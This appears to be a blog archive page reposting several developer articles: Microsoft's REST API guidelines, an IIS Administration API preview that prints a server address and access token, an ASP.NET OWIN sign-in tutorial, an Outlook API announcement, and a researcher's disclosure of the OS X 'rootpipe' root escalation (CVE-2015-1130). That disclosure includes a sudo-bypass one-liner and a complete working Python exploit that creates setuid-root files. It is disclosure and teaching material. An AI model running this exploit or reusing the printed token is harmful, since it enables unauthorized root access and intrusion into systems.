Microsoft REST API Design Guidelines

Microsoft is publishing its “REST API Design Guidelines” to the API community: http://www.GitHub.com/microsoft/api-guidelines/.

These guidelines represent a multi-year, cross-company, collaborative process aggregating the collective experience of hundreds of engineers designing, operating, and running global scale cloud services from across Microsoft; and listening to feedback on our APIs from customers and partners.  We have attempted to incorporate those learnings along with industry best practices in the API space to create guidelines that API teams across Microsoft use on a daily basis.

Our hope in publishing these guidelines to the greater API community is twofold:

  • First, that we will further stimulate feedback on our APIs and our approach to building them – only through such feedback can we build products that match the evolving needs of our customers.
  • Second, as we have benefitted from others in the API design community who have shared their guidelines, we want to contribute back. We believe that organizations of almost any size building APIs can benefit from having their own design guidelines.  Many companies and even organizations such as the Whitehouse have already published their design guidelines and it’s our hope that by contributing ours to the community conversation, we can add to the body of community knowledge and reusable content so that anyone can draw upon more collective knowledge when looking to set standards and guidelines within their organization.

We recognize that in API design, there are multiple correct ways to do things (ex: snake-case vs. train_case vs. UpperPascalCase vs. …) and we are sharing these design guidelines as what we have settled-upon after much debate among Microsoft colleagues.  We expect that these guidelines will evolve over time and that your feedback will play a part in that evolution.

Origins

Naturally, the Microsoft REST API Guidelines document on GitHub went through a number of iterations before being what you can read today.

The effort got started from hearing two key points of feedback from customers:

  • It should be easier to get started with Microsoft APIs – Developers wanted to be able to run the curl tool against an API endpoint and get a human-readable result in just a few minutes
  • APIs for Microsoft cloud services should be consistent – Developers didn’t care that an API to work with an Azure virtual machine and an API to work with a user’s Office 365 documents were developed by different parts of the company, they were both from Microsoft and developers expected consistency.

One of the goals of the effort was to find the right balance of detail in the guidelines.  We wanted a document that sufficiently codified best practices, but was also approachable for individual contributor engineers and technical product/program managers. 

Relationship with OData

The OASIS Open OData standard provides a great level of detail for API developers seeking wire-level interoperability; and while Microsoft teams are encouraged to follow OData (and benefit from the broad OData ecosystem), there are some cases where it was more specificity than teams needed and some cases where additional information was needed.  For any areas of deviation, we have worked to feed information back to the OASIS OData Technical Committee and many aspects of the latest OData v4.0 and OData v4.01 incorporate learnings from evolution of the Microsoft REST API Guidelines.

Relationship with the Open API Initiative (OAI)

We are proud that Microsoft is a member of the Open API Initiative (OAI), the evolution of Swagger.  As the scope of OAI/Swagger efforts have expanded from a framework and tooling to also include a specification, we believe there are more opportunities ahead for Microsoft colleagues to engage with the OAI community to continue to evolve both.

Introducing the IIS Administration API

The IIS team has been working on a new RESTful API to manage your IIS configuration. While still under development, the team was eager to share a preview of the new API. The API allows configuration of IIS resources such as authorization rules, modules, and applications.

iisRest

The API has been built with Hypertext Application Language (HAL) to allows APIs to have built-in discoverability. Starting at the root of the API, you can browse the entire API surface.

In addition to the API, the IIS team has also built an API explorer that makes it easy to browse the entire API surface.

Head on over to https://jimmyca-srv2.cloudapp.net:55539 and use the access token OgMks6N7CtZTptX2DTnLe8JvkmATOuqw1ZJnZzK1RojeYs251Wlfvg to check out the API explorer.

If you want more information visit the IIS blog at https://blogs.iis.net/adminapi/  and watch that space as the IIS team continues to post updates.

ASP.NET MVC OWIN and Microsoft account

  1. Register an app in the Microsot Account Developer Center

    Go to the Microsoft Account Developer Center and create a new application. After you have registered the application take note of the App ID and App Secret:

    Microsoft_Account_Developer_Center_PSCFYI

    Microsoft_Account_Developer_Center_PSCFYI_2
  2. Install the Nuget Package

    Install the Nuget Package which contains the Microsoft OAuth provider.

    Install-Package Microsoft.Owin.Security.MicrosoftAccount
  3. Register Provider

    Locate the file in your project called \App_Start\Startup.Auth.cs. Ensure that you have imported the Owin namespace:

    using Owin;

    In the ConfigureAuth method add the following lines of code:

    app.UseMicrosoftAccountAuthentication(
        clientId: "Your client ID", 
        clientSecret: "Your client secret");
  4. Advanced Configuration

    To use the advanced configuration options, be sure to use the Microsoft.Owin.Security.MicrosoftAccount namespace:

    using Microsoft.Owin.Security.MicrosoftAccount;
    Request extra permissions

    If no scope is specified, the Microsoft OAuth provider will request permissions for the wl.basic scope. If you would like to request any other scopes, your will need to pass these scopes in the Scope property. For example, to request the wl.calendars permission, you can register the Microsoft provider as per the following example:

    var options = new MicrosoftAccountAuthenticationOptions
    {
        ClientId = "Your client ID",
        ClientSecret = "Your client secret",
    };
    options.Scope.Add("wl.calendars");
    app.UseMicrosoftAccountAuthentication(options);

    For the full list of available permissions, see Scopes and permissions on the MSDN.

    Specify an alternative callback path

    By default the Microsoft provider will request Microsoft to redirect to the path /signin-microsoft after the user has signed in and granted permissions on Microsoft. You can specify an alternative callback path:

    var options = new MicrosoftAccountAuthenticationOptions
    {
        ClientId = "Your client ID",
        ClientSecret = "Your client secret",
        CallbackPath = new PathString("/oauth-redirect/microsoft")
    };
    app.UseMicrosoftAccountAuthentication(options);

    You need to also make sure that the Redirect URI of your application in the Microsoft Account Developer Center matches this new callback path.

    Retrieve access token and other user information returned from Microsoft

    You can retrieve the access token and other user information returned from Microsoft in the OnAuthenticated callback function which gets invoked after the user has authenticated with Microsoft:

    var options = new MicrosoftAccountAuthenticationOptions
    {
        ClientId = "Your client ID",
        ClientSecret = "Your client secret",
        Provider = new MicrosoftAccountAuthenticationProvider
        {
            OnAuthenticated = async context =>
            {
                // Retrieve the OAuth access token to store for subsequent API calls
                string accessToken = context.AccessToken;
    
                // Retrieve the user ID
                string microsoftUserId = context.Id;
    
                // Retrieve the user's full name
                string microsoftFullName = context.Name;
    
                // You can even retrieve the full JSON-serialized user
                var serializedUser = context.User;
            }
        }
    };
    app.UseMicrosoftAccountAuthentication(options);

Happy coding!

Outlook API is Available Now

Microsoft is very serious about the Office Store and as announced earlier, Office Outlook Apps have already started making their ways to the store.

Today, in a blog post by the Outlook team announced that Outlook add-ins or apps are already being added to Outlook and Uber, Boomerang, LinkedIn, Salesforce, and PayPal are among the first companies to jump on building Outlook add-ins. By building Outlook add-ins, the apps now can access and integrate with Outlook.com, desktop Outlook, and Office 365. For example, you want to book an Uber ride and set a reminder your Outlook calendar, you can do that.

Today, announced at Build, Outlook API that allows developers to build Outlook add-ins using open source technologies such as HTML 5, CSS3, JavaScript, OAuth, and REST API. Outlook API support most of the platforms such as Windows, iOS, Android, NodeJS, and Ruby.

Outlook API is divided into two categories – API to connect to the Outlook Service, and API to build add-ins to extend Outlook.

Outlook API to connect to the Outlook Service

Outlook REST APIs bring features like mail, calendars, and contacts for Office 365 and Outlook.

Outlook API to extend Outlook

Mail add-ins use HTML and JavaScript to bring your features right into the user's Outlook experience on phones, tablets, desktops, and the web. Start with a Hello World example, or dig into the reference.

The add-ins and other functionality is expected to release for Office 2016 as well.

To learn more and download Outlook API, visit dev.outlook.com. 

Hidden backdoor API to root privileges in Apple OS X

The Admin framework in Apple OS X contains a hidden backdoor API to root privileges. It’s been there for several years (at least since 2011), I found it in October 2014 and it can be exploited to escalate privileges to root from any user account in the system.

The intention was probably to serve the “System Preferences” app and systemsetup (command-line tool), but any user process can use the same functionality.

Apple has now released OS X 10.10.3 where the issue is resolved. OS X 10.9.x and older remain vulnerable, since Apple decided not to patch these versions. We recommend that all users upgrade to 10.10.3.

Why I started searching for vulnerabilities in OS X

TrueSec specialists speak at IT conferences worldwide. I wanted to have something new to demo at a Security Conference for Developers in November 2014. I’ve done many proof-of-concept hacks on iOS and Android before, to highlight what malicious code can achieve with vulnerable devices.

This time it was a security conference for developers, and many of them use Apple OS X as their primary operating system. I wanted to show that OS X could be hacked just as easily as iOS or Android. Operating systems are built out of software, developers create this software, developers make mistakes, and mistakes can introduce security vulnerabilities. I wanted to highlight that all software (yeah, even from Apple) contains vulnerabilities, and many are still to be discovered.

Building a nice demo

The first exploit I used was based on CVE-2013-1775, a sudo authentication bypass bug that was patched in version 10.8.5 (Sept 2013). It felt boring that the vulnerability was more than a year old. The exploit code is very simple:

$ sudo -k;systemsetup -setusingnetworktime Off -settimezone GMT -setdate 01:01:1970 -settime 00:00;sudo su

I talked to my colleague and software developer Philip Åkesson, about the fact that this exploit code uses systemsetup (command line utility) to modify the system time. We were both curious to find out the details of the fix. It turned out that, apart from patching sudo, Apple also changed another thing. They changed so that systemsetup requires root, even to display the help text! When systemsetup is run without root access, the following message is displayed (in 10.8.5 or later):

$ systemsetup
You need administrator access to run this tool... exiting!

This message is a bit misleading, since we are actually running this as an admin user. The user account created during installation of OS X will be admin by default. This is something that I think most OS X users don’t care much about, since sudo and application installation requires password input.

Anyway, the message above indicates that root access is now required to perform the commands (which previously could be done with admin rights).

I found the following code through a quick disassembly in Hopper:

Pic1

Okay, so the systemsetup binary simply checks if we are running as the root user?

Philip tried patching that function (replacing sete with setne), with success:

$ systemsetup
> systemsetup
> type -help for help.

But so far, we’re only back to the previous behavior of systemsetup (prior to 10.8.5). One example of the commands you can perform with systemsetup is:

$ systemsetup –setremotelogin on

This will enable ssh server on port 22. You can of course also start ssh through launchctl, but launchctl would then require root privileges. So there’s obviously a difference in privileges required! The class name RemoteServerSettings indicates that there’s some kind of interprocess communication, this would explain why operations that require root could be performed. Still, it’s worth mentioning that SSH can also be started through System Preferences (Sharing) without root access.

But I found this discrepancy in permissions interesting, and continued disassembling systemsetup.

The setremotelogin command is implemented in systemsetup as a method called [ServerSettings setRemoteLogin:].

The function does some input checking, and then calls [InternetServices setSSHServerEnabled:]. This is implemented in the Admin framework (used by systemsetup). Disassembly of the Admin framework shows that setSSHServerEnabled is not the only method of the InternetServices interface. There are also methods for starting/stopping many other services. Here’s a listing:

+[InternetServices sharedInternetServices]
+[InternetServices sharedInternetServices].sSharedInternetServices
-[InternetServices _netFSServerFrameworkBundle]
-[InternetServices _netFSServerFrameworkBundle].sNetFSServerkBundle
-[InternetServices _netFSServerFrameworkBundle].sNetFSServerkBundleOnce
-[InternetServices faxReceiveEnabled]
-[InternetServices ftpServerEnabled]
-[InternetServices httpdEnabled]
-[InternetServices isFTPServerAvailable]
-[InternetServices isFaxReceiveAvailable]
-[InternetServices isGuestForProtocolEnabled:]
-[InternetServices isHttpdAvailable]
-[InternetServices isNSCProtocolAvailable:]
-[InternetServices isNSCProtocolEnabled:]
-[InternetServices isNSServerShuttingDown:]
-[InternetServices isOpticalDiscSharingEnabled]
-[InternetServices isRemoteAEServerAvailable]
-[InternetServices isSSHServerAvailable]
-[InternetServices nscServerCancelShutdown:refNum:]
-[InternetServices nscServerShutdown:withDelay:]
-[InternetServices numberOfClientsForProtocols:]
-[InternetServices remoteAEServerEnabled]
-[InternetServices saveNatPrefs:]
-[InternetServices screensharingEnabled]
-[InternetServices sendSIGHUPToEfax]
-[InternetServices setFTPServerEnabled:]
-[InternetServices setFaxReceiveEnabled:]
-[InternetServices setGuestForProtocol:enabled:]
-[InternetServices setHttpdEnabled:]
-[InternetServices setInetDServiceEnabled:enabled:]
-[InternetServices setNSCProtocols:enabled:]
-[InternetServices setOpticalDiscSharingEnabled:]
-[InternetServices setRemoteAEServerEnabled:]
-[InternetServices setSSHServerEnabled:]
-[InternetServices setScreensharingEnabled:]
-[InternetServices sshServerEnabled]
_OBJC_CLASS_$_InternetServices
_OBJC_METACLASS_$_InternetServices
___47-[InternetServices _netFSServerFrameworkBundle]_block_invoke

Some of these, like setHttpdEnabled and setSSHServerEnabled are implemented using a shared helper method [ADMInternetServices setInetDServiceEnabled:enabled:].

I read more of the code inside Admin framework, but stopped at the following code:

UserUtilities_createFileWithContents

This seems to be the code that creates a user-specific apache configuration file for guest accounts (notice that root is owner of this file):

$ ls -l /etc/apache2/users/
total 8
-rw-r--r-- 1 root wheel 139 Apr 1 05:49 std.conf

A hidden backdoor API to root access is revealed

The last Objective-C method that was called in the code screenshot above is createFileWithContents:path:attributes:. It takes an array of bytes (the data to write), a file path and POSIX file attributes.

Re-using this function from my own Objective-C code would look something like this:

[tool createFileWithContents:data
                        path:[NSString stringWithUTF8String:target]
                  attributes:@{ NSFilePosixPermissions : @0777 }];

The question is how we can get hold of the magic “tool” reference. If we look in the beginning of the code screenshot, the code corresponds to this:

id sharedClient =
    [objc_lookUpClass("WriteConfigClient") sharedClient];
id tool = [sharedClient remoteProxy];

Is it really that simple? No! :) But we are getting there. I tried doing this in my own code, but got the following error:

### Attempt to send message without connection!

The next thing to do was finding where this error message is printed:

 SystemAdministration-1e25d

OK, so this is a check to verify that the XPC proxy within my process is initiated. Let’s look at the ocurrences of _onewayMessageDispatcher to locate the initialization code:

_onewayMessageDispatcher

The authenticateUsingAuthorization method is where the actual initialization takes place:

authenticateUsingAuthorization

This is exactly what I needed. This is creating an XPC client to the writeconfig XPC service and that service is running as root.

ActivityMon-writeconfig

The only question was what I should send as argument to authenticateUsingAuthorization? I went back to the systemsetup binary again and found the following:

RemoteServerSettings_authenticate

It seems like the result of [SFAuthorization authorization] could do the trick. Here’s my modified exploit code, ready for a new attempt:

id auth = [objc_lookUpClass("SFAuthorization") authorization];
id sharedClient =
    [objc_lookUpClass("WriteConfigClient") sharedClient];
[sharedClient authenticateUsingAuthorizationSync: auth];
id tool = [sharedClient remoteProxy];

[tool createFileWithContents:data
                        path:[NSString stringWithUTF8String:target]
                  attributes:@{ NSFilePosixPermissions : @04777 }];

Note that I’m using a Sync-variant of authenticateUsingAuthorization with the same functionality and set the POSIX file permissions to 4777. The file is finally created, and setuid bit is set:

-rwsrwxrwx 1 root wheel 25960 Apr 1 19:29 rootpipe.tmp

Since the setuid bit is set and owner is root, we have a privilege escalation.

My first exploit code was for 10.7.x and 10.8.x, where class and method names are slightly different. The names used above are for 10.9 and later.

There’s still a limitation with the exploit code, it only works for users with admin permissions. As I mentioned earlier, almost all OS X users are admin (since OS X users often are single user systems). Before reporting the issue to Apple, I tried with a standard account, and got the following error message:

### authenticateUsingAuthorizationSync error:Error Domain=com.apple.systemadministration.authorization Code=-60007 "The operation couldn’t be completed. (com.apple.systemadministration.authorization error -60007.)"

But I actually found a way to make it work for all users later, which means that the exploit is no longer limited to admin accounts only. It is as simple as sending nil to authenticateUsingAuthorizationSync instead of using the result of [SFAuthorization authorization]:

[sharedClient authenticateUsingAuthorizationSync: nil];

It seems like the authorization checks are made by triggering callback functions on the auth-object supplied. For those of you who are not Objective-C programmers: Guess what happens if you call methods on a null reference – or to use Objective-C language, send a message to nil? Nothing! :)

Conclusion and recommendation

The Admin framework in Apple OS X contained a hidden backdoor API to root access for several years (at least since 2011, when 10.7 was released). The intention was probably to serve the “System Preferences” app and systemsetup (command-line tool), but there is no access restriction. This means the API is accessible (through XPC) from any user process in the system.

This is a local privilege escalation to root, which can be used locally or combined with remote code execution exploits.

Apple indicated that this issue required a substantial amount of changes on their side, and that they will not back port the fix to 10.9.x and older.

Our recommendation to all OS X users out there: Upgrade to 10.10.3 (or later).

Rootpipe Full Disclosure live walkthrough, and much more…

I will explain all details of the rootpipe vulnerability in my session at Security Conference 2015, May 28 in Stockholm, Sweden. You’ll see live on stage how attackers find vulnerabilities in your code, even if they only have access to binaries. My colleagues will present other cool stuff that developers should know about, focusing on security threats and how to write secure code. Visit www.securityconf.se for more info.

Timeline

  • Oct 2nd 2014: First discovery
  • Oct 3rd 2014: First contact with Apple Product Security Team
  • Oct 14th 2014: Exploit code shared with Apple
  • Oct 24th 2014: Initial full disclosure date set to Jan 12th 2015
  • Oct 16th 2014: Release of OS X 10.10 Yosemite, vulnerable to rootpipe
  • Nov 14th 2014: Apple requested to postpone disclosure
  • Nov 17th 2014: Release of OS X 10.10.1, also vulnerable
  • Jan 12th 2015: Joint decision between Apple and TrueSec to postpone disclosure due to the amount of changes required in OS X
  • Jan 16th 2015: CVE-2015-1130 created by Apple
  • Jan 27th 2015: Release of OS X 10.10.2, also vulnerable
  • March 2nd 2015: Release of OS X 10.10.3 public beta, issue solved
  • April 1st 2015: Apple confirmed that release is coming the second week of April
  • April 8th 2015: Release of OS X 10.10.3
  • April 9th 2015: Full disclosure

Exploit code

########################################################
#
#  PoC exploit code for rootpipe (CVE-2015-1130)
#
#  Created by Emil Kvarnhammar, TrueSec
#
#  Tested on OS X 10.7.5, 10.8.2, 10.9.5 and 10.10.2
#
########################################################
import os
import sys
import platform
import re
import ctypes
import objc
import sys
from Cocoa import NSData, NSMutableDictionary, NSFilePosixPermissions
from Foundation import NSAutoreleasePool

def load_lib(append_path):
    return ctypes.cdll.LoadLibrary("/System/Library/PrivateFrameworks/" + append_path);

def use_old_api():
    return re.match("^(10.7|10.8)(.\d)?$", platform.mac_ver()[0])


args = sys.argv

if len(args) != 3:
    print "usage: exploit.py source_binary dest_binary_as_root"
    sys.exit(-1)

source_binary = args[1]
dest_binary = os.path.realpath(args[2])

if not os.path.exists(source_binary):
    raise Exception("file does not exist!")

pool = NSAutoreleasePool.alloc().init()

attr = NSMutableDictionary.alloc().init()
attr.setValue_forKey_(04777, NSFilePosixPermissions)
data = NSData.alloc().initWithContentsOfFile_(source_binary)

print "will write file", dest_binary

if use_old_api():
    adm_lib = load_lib("/Admin.framework/Admin")
    Authenticator = objc.lookUpClass("Authenticator")
    ToolLiaison = objc.lookUpClass("ToolLiaison")
    SFAuthorization = objc.lookUpClass("SFAuthorization")

    authent = Authenticator.sharedAuthenticator()
    authref = SFAuthorization.authorization()

    # authref with value nil is not accepted on OS X <= 10.8
    authent.authenticateUsingAuthorizationSync_(authref)
    st = ToolLiaison.sharedToolLiaison()
    tool = st.tool()
    tool.createFileWithContents_path_attributes_(data, dest_binary, attr)
else:
    adm_lib = load_lib("/SystemAdministration.framework/SystemAdministration")
    WriteConfigClient = objc.lookUpClass("WriteConfigClient")
    client = WriteConfigClient.sharedClient()
    client.authenticateUsingAuthorizationSync_(None)
    tool = client.remoteProxy()

    tool.createFileWithContents_path_attributes_(data, dest_binary, attr, 0)


print "Done!"

del pool


Advertsing

125X125_06

Planet Xamarin

Planet Xamarin

Calendar

<<  September 2017  >>
MonTueWedThuFriSatSun
28293031123
45678910
11121314151617
18192021222324
2526272829301
2345678

View posts in large calendar

Month List